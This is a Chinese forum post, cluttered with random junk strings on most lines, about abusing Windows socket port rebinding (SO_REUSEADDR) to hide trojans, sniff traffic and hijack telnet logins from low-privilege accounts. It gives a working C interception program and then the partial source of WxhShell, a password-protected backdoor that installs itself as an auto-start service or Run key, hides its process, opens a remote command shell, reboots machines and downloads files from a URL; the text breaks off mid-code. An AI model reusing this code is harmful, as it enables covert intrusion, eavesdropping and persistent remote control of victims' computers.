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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S453oG"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tgK$}#.*  
#D M%_HXDi  
  saddr.sin_family = AF_INET; {Ak{ ct\t  
{E1g+><  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); i <0H W  
H((! BRl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); jjbBv~vs  
M-1 VB5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 zM{'GB+en  
bg;N BoZd  
  这意味着什么?意味着可以进行如下的攻击: FJKW=1 =,  
V{@ xhW0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D,%R[F? 5O  
6}wXNTd  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l0AgW_T  
N p9N#m?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S'M=P_-7  
ks|[`FH  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  BqC, -gC  
S6CM/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #TZf\0\!  
9XWHr/-_@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )w];eF0c  
''Fy]CwH(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 UH/)4Wg  
#R$d6N[H  
  #include +g,:!5pg  
  #include Gc2sY 0  
  #include S!Ue+jW  
  #include    {|?OKCG{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~ l"70\&  
  int main() Cc*"cQe  
  { wLwAtjW)  
  WORD wVersionRequested; 1];rW`Bw  
  DWORD ret; N"M K 0k  
  WSADATA wsaData; EeGP E  
  BOOL val; ModwJ w  
  SOCKADDR_IN saddr; c#sPM!!  
  SOCKADDR_IN scaddr; z3+y|nx!  
  int err; AY4ZU CqI  
  SOCKET s; Q!K@  
  SOCKET sc; YSwAu,$jf  
  int caddsize; !Cxo4Twg  
  HANDLE mt; 1~:7W  
  DWORD tid;   (\m4o   
  wVersionRequested = MAKEWORD( 2, 2 ); jv7-i'I@  
  err = WSAStartup( wVersionRequested, &wsaData ); bK;I:JK3  
  if ( err != 0 ) { ^|y6oj  
  printf("error!WSAStartup failed!\n"); JwWW w1  
  return -1; *0]E4]ZO  
  } x&9}] E^<  
  saddr.sin_family = AF_INET; Qr]xj7\@i  
   &.z: i5&o!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <>$`vuU  
)&:4//}a  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =H6"\`W  
  saddr.sin_port = htons(23); vaL+@Kq~&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %7=B?c |  
  { ,73 kh  
  printf("error!socket failed!\n"); )\!_`ob  
  return -1; '9^+J7iO(+  
  } A6ipA /_  
  val = TRUE; P5s'cPX  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 J'^H@L/E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "?EoYF_  
  { i? 5jl&30  
  printf("error!setsockopt failed!\n"); xCwd*lsM  
  return -1; +c4]}9f!  
  } N*z_rZE  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ']1\nJP[=X  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 q[p+OpA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e! V`cg0  
Yqz(@( %  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {<0=y#@u  
  { j`jF{k b  
  ret=GetLastError(); !4-B xeNY\  
  printf("error!bind failed!\n"); 3wZA,Z  
  return -1; HqNM31)  
  } N,U<.{T=A  
  listen(s,2); bM7y}P5`1  
  while(1) o C0K!{R*  
  { [=*c8  
  caddsize = sizeof(scaddr); 's]I:06A  
  //接受连接请求 l H:Y8j  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ; (I(TG  
  if(sc!=INVALID_SOCKET) Ut:>'TwG  
  { lc1?Vd$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); l/9V59Fv9  
  if(mt==NULL) *olV Y/'O  
  { LWgYGXWT"  
  printf("Thread Creat Failed!\n"); }T=0]u4,  
  break; l`c&nf6  
  } ,b;eU[!]  
  } BeP]M1\?>  
  CloseHandle(mt); q#9JJWSs  
  } >7%Gd-;l  
  closesocket(s); CVfQ  
  WSACleanup(); $1<V'b[E  
  return 0; +Hx$ABH  
  }   [1{#a {4  
  DWORD WINAPI ClientThread(LPVOID lpParam) MX!t/&X(n  
  { gP=(2EVE  
  SOCKET ss = (SOCKET)lpParam; mFCDwh]  
  SOCKET sc; db$wKvO1  
  unsigned char buf[4096]; heQ<%NIA"  
  SOCKADDR_IN saddr; {p J{UJKv?  
  long num; ioxs x>e<  
  DWORD val; gBM6{48GF  
  DWORD ret; RC(fhqV  
  //如果是隐藏端口应用的话,可以在此处加一些判断 W*A-CkrO  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   DyeV uB  
  saddr.sin_family = AF_INET; = 7%1]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _SU%ul  
  saddr.sin_port = htons(23); E__^>=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UeNa  
  { ]BAM _  
  printf("error!socket failed!\n"); (p4|,\+  
  return -1; 9_yO 6)`  
  } pw;  
  val = 100; -= {Z::}S"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tMM *m  
  { 0I6[`*|SX  
  ret = GetLastError(); S[!sJ-rG  
  return -1; & h)G>Sqc  
  } /H 3u^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |eS5~0<`  
  { p H&Tb4  
  ret = GetLastError(); W vh3Y,|3  
  return -1; Q1tZ]Q.6  
  } ?VC[%sjwn  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G#{ Xd6L  
  { ",wv*z)_>  
  printf("error!socket connect failed!\n"); C1=7.dPr  
  closesocket(sc); s;oDwT1  
  closesocket(ss); i=b<Mz7|  
  return -1; s9t`!  
  } AKW M7fI  
  while(1) e}|UVoeH  
  { 2c?-_OCy;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s7j#Yg  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 aju!Aq54G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Y:|_M3&'o  
  num = recv(ss,buf,4096,0); piq1cV  
  if(num>0) a/ d'(]  
  send(sc,buf,num,0); kMD:~ V  
  else if(num==0) Q'?{_  
  break; Pl|e?Np  
  num = recv(sc,buf,4096,0); -$Y@]uf^  
  if(num>0) 8yr_A[S8.  
  send(ss,buf,num,0); ;3ZHm*xJx  
  else if(num==0) Y{c_5YYf  
  break; "4W@p'  
  } RU} M&&  
  closesocket(ss); cEkf9:_La  
  closesocket(sc); qs\ O(K8  
  return 0 ; A2Je*Gz  
  } a.P7O!2Lp  
}T<[JXh=J  
);4lM%]eb  
========================================================== r>v_NKS]t  
eq^<5 f  
下边附上一个代码,,WXhSHELL _TF\y@hF*D  
e[txJ*SuO  
========================================================== r{DR$jD  
8m? 9?OV5  
#include "stdafx.h" eK_Q>;k5A  
lMpjE  
#include <stdio.h> c%2C\UB  
#include <string.h> ~ Iin|  
#include <windows.h> J;Y=o B  
#include <winsock2.h> K-D{Z7J^l  
#include <winsvc.h> Jjt'R`t%t  
#include <urlmon.h> 7:fC,2+  
0bY}<x(;  
#pragma comment (lib, "Ws2_32.lib") sTu6KMn  
#pragma comment (lib, "urlmon.lib") Pba 6Ay6B  
4F_*,_Y  
#define MAX_USER   100 // 最大客户端连接数 CiE  
#define BUF_SOCK   200 // sock buffer i <KWFF#  
#define KEY_BUFF   255 // 输入 buffer 9uk}r; %9  
FD?!bI4  
#define REBOOT     0   // 重启 jJ^p ?  
#define SHUTDOWN   1   // 关机 3GEI)!  
{d`e9^Z:  
#define DEF_PORT   5000 // 监听端口 S+c)  
~udi=J |  
#define REG_LEN     16   // 注册表键长度 b"U{@  
#define SVC_LEN     80   // NT服务名长度 ')pXQ  
unE h  
// 从dll定义API i:ar{ q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :W'Yt9v)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J23Tst#s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >;@ _TAF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bn`1JI@S4  
D&5>Op4U  
// wxhshell配置信息 6nxX~k  
struct WSCFG { F,2)Udim  
  int ws_port;         // 监听端口 C'bW3la  
  char ws_passstr[REG_LEN]; // 口令 YGp8./ma<I  
  int ws_autoins;       // 安装标记, 1=yes 0=no {J`Zl1_q  
  char ws_regname[REG_LEN]; // 注册表键名 wwnl_9a  
  char ws_svcname[REG_LEN]; // 服务名 [kf$8 2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F@e9Dz|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~T;FOB%w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sSVgDQ~q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yya"*]*S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l{U-$}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9b`J2_ ]k  
U=_O*n?N-d  
}; xf1@mi[a  
rUC@Bf  
// default Wxhshell configuration FI @!7@  
struct WSCFG wscfg={DEF_PORT, YGy.39@31  
    "xuhuanlingzhe", 7P}&<;5zD  
    1, aAY=0rCI-  
    "Wxhshell", Ns.b8Y  
    "Wxhshell", S{cy|QD  
            "WxhShell Service", EsA)o 5  
    "Wrsky Windows CmdShell Service", N(<4nAE  
    "Please Input Your Password: ", O+vuv,gNi  
  1, Y8I*B =7  
  "http://www.wrsky.com/wxhshell.exe", NABwtx>.  
  "Wxhshell.exe" YJZVi ic  
    }; IY$H M3t7  
"b&[W$e  
// 消息定义模块 G(7!3a+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K07b#`NF6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JTu^p]os?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lp`raN No  
char *msg_ws_ext="\n\rExit."; 3ZNm,{  
char *msg_ws_end="\n\rQuit."; aa!o::;  
char *msg_ws_boot="\n\rReboot..."; 0pP;[7k\  
char *msg_ws_poff="\n\rShutdown..."; _8$arjx=  
char *msg_ws_down="\n\rSave to "; }eA2y($N  
;q:.&dak1  
char *msg_ws_err="\n\rErr!"; 2BA'Zu`  
char *msg_ws_ok="\n\rOK!"; 9F8"(  
k@1\ULo  
char ExeFile[MAX_PATH]; NFT&\6!o  
int nUser = 0; _F|oL|  
HANDLE handles[MAX_USER]; 9!hiCqA&  
int OsIsNt; _~m@ SI  
KCR6@{@  
SERVICE_STATUS       serviceStatus; Obd@#uab  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s{v!jZ  
<ptZY.8N  
// 函数声明 7TCY$RcF,I  
int Install(void); T_}9b  
int Uninstall(void); >5Vv6_CI0?  
int DownloadFile(char *sURL, SOCKET wsh); H+&c=~D\_  
int Boot(int flag); {(r`&[  
void HideProc(void); @y,pf Wh`  
int GetOsVer(void); E0XfM B]+  
int Wxhshell(SOCKET wsl); b(8#*S!U  
void TalkWithClient(void *cs); Yj+p^@{S2P  
int CmdShell(SOCKET sock); eR,ePyA;  
int StartFromService(void); 5[Sa7Mk  
int StartWxhshell(LPSTR lpCmdLine); }?zy*yL  
0Da9,&D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }^).Y7{g[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -LAYj:4  
%5|awWo_?  
// 数据结构和表定义  5VWyc9Q  
SERVICE_TABLE_ENTRY DispatchTable[] = Vf S&V*un  
{ }E626d}uA  
{wscfg.ws_svcname, NTServiceMain}, [R$iX  
{NULL, NULL} G }B)bM2  
}; 1-`Il]@?8  
I5[HD_g:  
// 自我安装 >BU"C+a8g  
int Install(void) ,DUD4 [3  
{ 9 06b=  
  char svExeFile[MAX_PATH]; wO6 D\#  
  HKEY key; y; LL^:rq  
  strcpy(svExeFile,ExeFile); s+{)K  
APydZ  
// 如果是win9x系统,修改注册表设为自启动 +C4UM9  
if(!OsIsNt) { 2H7b2%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *c<=IcA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XJ &'4h  
  RegCloseKey(key); $)w9EGZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `9IG//  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N?]HWP^pg  
  RegCloseKey(key);  4[=vt  
  return 0; e nsou!l  
    } ,,_$r7H`  
  } r+6=b"  
} B%P g:|  
else { V^9c:!aI  
p*F.WxB)4  
// 如果是NT以上系统,安装为系统服务 DEj6 ky  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @LQe[`  
if (schSCManager!=0) !zc?o?~z  
{ nksx|i l  
  SC_HANDLE schService = CreateService < {1'cx  
  ( 9F[k;Uw  
  schSCManager, JDi\?m d.  
  wscfg.ws_svcname, _.b^4^[  
  wscfg.ws_svcdisp, t= =+SHGP  
  SERVICE_ALL_ACCESS, `cee tr=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D?yiK=:08`  
  SERVICE_AUTO_START, X=QaTV  
  SERVICE_ERROR_NORMAL, aj>6q=R  
  svExeFile, d|T87K>|r"  
  NULL, -:mT8'.F-  
  NULL, 'Em5AA`>  
  NULL, WCf?_\cG  
  NULL, (^x ,  
  NULL /l o;:)AiP  
  ); ?)x"+[2  
  if (schService!=0) )YSS>V  
  { ;[pY>VJ(  
  CloseServiceHandle(schService); b#XY.+ *0  
  CloseServiceHandle(schSCManager); 7OF6;@<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v?\Z4Z|f  
  strcat(svExeFile,wscfg.ws_svcname); NJ 6* 7Cd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6x?3%0Km  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *^|.bBG  
  RegCloseKey(key); AmSrc.  
  return 0; ^*!Tq&Dst|  
    } {<f |h)r  
  } Yz6+ x]  
  CloseServiceHandle(schSCManager); *qM)[XO  
} m-%.LDqM  
} IrIF 853g  
,OGXH2!h  
return 1; U]!~C 1cmw  
} ,E YB E  
FVi7gg.?  
// 自我卸载 puE!7 :X7  
int Uninstall(void) 'JA<q-Gn  
{ nQy%av$  
  HKEY key; )SJ18 no|l  
Ft} h&aYP  
if(!OsIsNt) { ?4G/f<ou  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >fX_zowX  
  RegDeleteValue(key,wscfg.ws_regname); 9Tju+KcK  
  RegCloseKey(key); /EW1&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CFo>D\*J  
  RegDeleteValue(key,wscfg.ws_regname);  nIWZo ~  
  RegCloseKey(key); tCoT-\Q  
  return 0; [^rMM1^,OB  
  } (P=q&]l[  
} h5+L/8+J^z  
} ()Cw;N{E  
else { <G+IbUG:  
K<#Q;(SFU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~Vh< mt  
if (schSCManager!=0) 1m c'=S{  
{ c-?2>%;(V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); luPj'd?  
  if (schService!=0) Tj[=E  
  { xfAnZBsVo  
  if(DeleteService(schService)!=0) { |3ob1/)p0  
  CloseServiceHandle(schService); *3A`7usU  
  CloseServiceHandle(schSCManager); BH@b]bEJ  
  return 0; Hu4\4x$?  
  } i.~*G8!DM  
  CloseServiceHandle(schService); at(oepq  
  } p`oSI}ZwB  
  CloseServiceHandle(schSCManager); r]6X  
} ;";#{B:  
} ^nPk;%`0  
dq.'[  
return 1; v;=| -y  
} ho J{C 0  
@'D ,T^I  
// 从指定url下载文件 -D?-ctFYj^  
int DownloadFile(char *sURL, SOCKET wsh) .YYLMI  
{ J.t tJOP  
  HRESULT hr; pb`!_GmB  
char seps[]= "/"; 0vi)m y;!  
char *token; =Su~i Oa  
char *file; 0P?\eoB@8  
char myURL[MAX_PATH]; ggP#2I\  
char myFILE[MAX_PATH]; T?!D?YV  
|mHxkd  
strcpy(myURL,sURL); [H-r0Ah  
  token=strtok(myURL,seps); G/y@`A)  
  while(token!=NULL) Y\Grf$e  
  { -n>JlfCd2  
    file=token; B'@a36  
  token=strtok(NULL,seps); = nIl$9  
  } I4Y; 9Gg  
v"Z`#Bi  
GetCurrentDirectory(MAX_PATH,myFILE); QOfqW@g  
strcat(myFILE, "\\"); B#Q=Fo 6  
strcat(myFILE, file); Lt<KRs  
  send(wsh,myFILE,strlen(myFILE),0); XFS"~{  
send(wsh,"...",3,0); MhaoD5*9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c;M&;'#x  
  if(hr==S_OK) Pl9Ky(Q`V  
return 0; "3\C;B6I  
else $VgazUH% =  
return 1; 4Iq-4IG(  
ytsPk2@WR  
} @xBw'  
M~o\K'  
// 系统电源模块 'K8emt$d+  
int Boot(int flag) C{5^UCJkg  
{ |1rKGDc  
  HANDLE hToken; q%rfKHMA50  
  TOKEN_PRIVILEGES tkp; XH"-sZt  
O]/BNacS  
  if(OsIsNt) { rB<za I\V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N.l\2S}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5VLJ:I?0O  
    tkp.PrivilegeCount = 1; |K7zN\ Wq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r6x"D3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z'@a@Y+  
if(flag==REBOOT) { VQMPs{tm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dM^1O-K:  
  return 0; }}cS-p  
} 1vmK  d  
else { sz?/4tY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~?BN4ptc  
  return 0; yn;sd+:z  
} c}l?x \/  
  } doj$chy  
  else { L'KgB=5K&i  
if(flag==REBOOT) { kZfUwF:yN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bVbh| AA  
  return 0; hj<h]dhp  
} +OTNn@!9  
else { #xlT,:_:)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BY&+fK ae  
  return 0; xGU~FU  
} iuxS=3lT"K  
} r^j iK\*  
A=+ |&+? t  
return 1; ry Kc7<  
} a-9Y &#U  
0IP5 &[-P  
// win9x进程隐藏模块 HK/T`p#  
void HideProc(void) ^Hplrwj}  
{ 7YLG<G!v)]  
KK|AXoBf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6cm&=n_u  
  if ( hKernel != NULL ) $Qc`4x;N  
  {  q\xT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L)!9+!PKD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AD=qB5:  
    FreeLibrary(hKernel); u ]!ZW&  
  } \A ?B{*  
([+u U!  
return; j1sZRl)D  
} ar#Xe;T!  
u5LrZt]k  
// 获取操作系统版本 EU0b>2n4  
int GetOsVer(void) FkS$x'~2$  
{ >3J?O96|f  
  OSVERSIONINFO winfo; jIOrB}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x U1](O  
  GetVersionEx(&winfo); ux 7^PTgcO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;hcOD4or  
  return 1; uv}?8$<\  
  else 10C,\  
  return 0; vp#AD9h1  
} =D@+_7\?  
6y4&nTq[  
// 客户端句柄模块 x9NcIa9  
int Wxhshell(SOCKET wsl) T]#S=]G  
{ <NVSF6`  
  SOCKET wsh; Uql|32j  
  struct sockaddr_in client; U11bQ4ak  
  DWORD myID; C@7<0w  
y!,Ly_x$@  
  while(nUser<MAX_USER) {imz1g;  
{ H fg2]N  
  int nSize=sizeof(client); HF\|mL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [ BpZ{Ql  
  if(wsh==INVALID_SOCKET) return 1; jEkO #xI  
|v[0(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /&`sB|  
if(handles[nUser]==0) 0j-- X?-  
  closesocket(wsh); ^@"EI|fsP  
else G';yb^DB  
  nUser++; X5V8w4NN  
  } m,TN%*U!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $}*bZ~  
Hfw*\=p  
  return 0; ?m RGFS  
} I1 Jo8s  
!T<4em8  
// 关闭 socket U<aT%^_  
void CloseIt(SOCKET wsh) Rx}*I00  
{ >*v P*H:P  
closesocket(wsh); xlW`4\ Pa  
nUser--; @5i m*ubzM  
ExitThread(0); 2^\67@9  
} t04_~e  
6~t;&)6J  
// 客户端请求句柄 M$O*@])  
void TalkWithClient(void *cs) W'B=H1  
{ AD** 4E  
iFypKpHg~  
  SOCKET wsh=(SOCKET)cs; \bc ob8u  
  char pwd[SVC_LEN]; zOEdFU{x  
  char cmd[KEY_BUFF]; )U?O4| \P  
char chr[1]; ry2ZVIFa  
int i,j; |6ZH+6[  
N3Yf3rK  
  while (nUser < MAX_USER) { [X"F}ph  
feI%QnK)U  
if(wscfg.ws_passstr) { 49gm=XPm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3.c0PRZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bc^%1  
  //ZeroMemory(pwd,KEY_BUFF); wd 4]Z0;  
      i=0; s\CZ os&  
  while(i<SVC_LEN) { A$H;2T5N  
Q^|ZoJS  
  // 设置超时 I 19 /  
  fd_set FdRead; WPN4mEow  
  struct timeval TimeOut; D<DSK~  
  FD_ZERO(&FdRead); ^~iFG+g5  
  FD_SET(wsh,&FdRead); tz).]E D  
  TimeOut.tv_sec=8; 8c6dTT4  
  TimeOut.tv_usec=0; W$I^Ej}>$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s"7$SxMT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OrZ=-9"  
0G=bu5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uaX#nn?ws  
  pwd=chr[0]; ^uDNArDmj5  
  if(chr[0]==0xd || chr[0]==0xa) { -_p+4tV  
  pwd=0; h W<fu  
  break; FS(bEAk}  
  } _gGI&0(VM  
  i++; 3>+9Rru  
    } aLWNqe&1  
c6;326aD q  
  // 如果是非法用户,关闭 socket 3p%B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qId-v =L  
} 4dB6cg  
{#Lj,o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LhfI"fc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); na5:)j4<  
j.b7<Vr4;  
while(1) { s%{8$> 8V.  
"RkbT O  
  ZeroMemory(cmd,KEY_BUFF); HkP')= sa  
n' XvPV|  
      // 自动支持客户端 telnet标准   D^[}:O{  
  j=0; C0eqC u)Q  
  while(j<KEY_BUFF) { YV6@SXy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "<e<0::  
  cmd[j]=chr[0]; E!,+#%O>  
  if(chr[0]==0xa || chr[0]==0xd) { _4#8o\  
  cmd[j]=0; /^F_~.u{  
  break; hZ#ydI|  
  } (Ov{gj^  
  j++; )t$<FP  
    } /YyimG7  
zE~{}\J  
  // 下载文件 XMR$I&;G8  
  if(strstr(cmd,"http://")) { w;=fi}<G|e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A<1:vV  
  if(DownloadFile(cmd,wsh)) [32]wgw+{1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |<Cz#| ,q  
  else 3k#?E]'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ae&i]K;  
  } TIs~?wb$  
  else { TpHvZ]c  
ir72fSe  
    switch(cmd[0]) { yR`X3.:*]  
  9L`5r$/  
  // 帮助  c"pI+Q  
  case '?': { z vM=k-Ec  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 015 ;'V#we  
    break; ]ZkR~?  
  } <~%e{F:[#  
  // 安装 ,C=Lu9  
  case 'i': { sULCYiT|Hn  
    if(Install()) g}cb>'=={  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y]u6f c  
    else (P+TOu-y\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sQ)D.9\~  
    break; 8RA]h?$$J  
    } H}Jdnu|ko  
  // 卸载 nB~hmE)  
  case 'r': { _RTJEG  
    if(Uninstall()) yFD3:;}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3U_-sMOB|  
    else ,n}h_ct  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~x!"(  
    break; d4 Hpe>  
    } Wk0"U V  
  // 显示 wxhshell 所在路径 p)dD{+"/2  
  case 'p': { 3@t&5UjwQ  
    char svExeFile[MAX_PATH]; )&nfV5@"  
    strcpy(svExeFile,"\n\r"); GG9YAu  
      strcat(svExeFile,ExeFile); w$D&LA}(M  
        send(wsh,svExeFile,strlen(svExeFile),0); UdIl5P  
    break; z'W8t|m}Pb  
    } 'e/= !"T  
  // 重启 y7x&/2  
  case 'b': { )1EF7.|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $X>$)U'p&-  
    if(Boot(REBOOT)) 6t,_Xqg*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L"_l(<g  
    else { oy;g;dtq  
    closesocket(wsh); rt _k }  
    ExitThread(0); A;06Zrf1  
    } 2 SJ N;A~}  
    break; c,v?2*<  
    } [i9.#*  
  // 关机 R#n!1~ (  
  case 'd': { prdlV)LTpY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]]EOCGZ"  
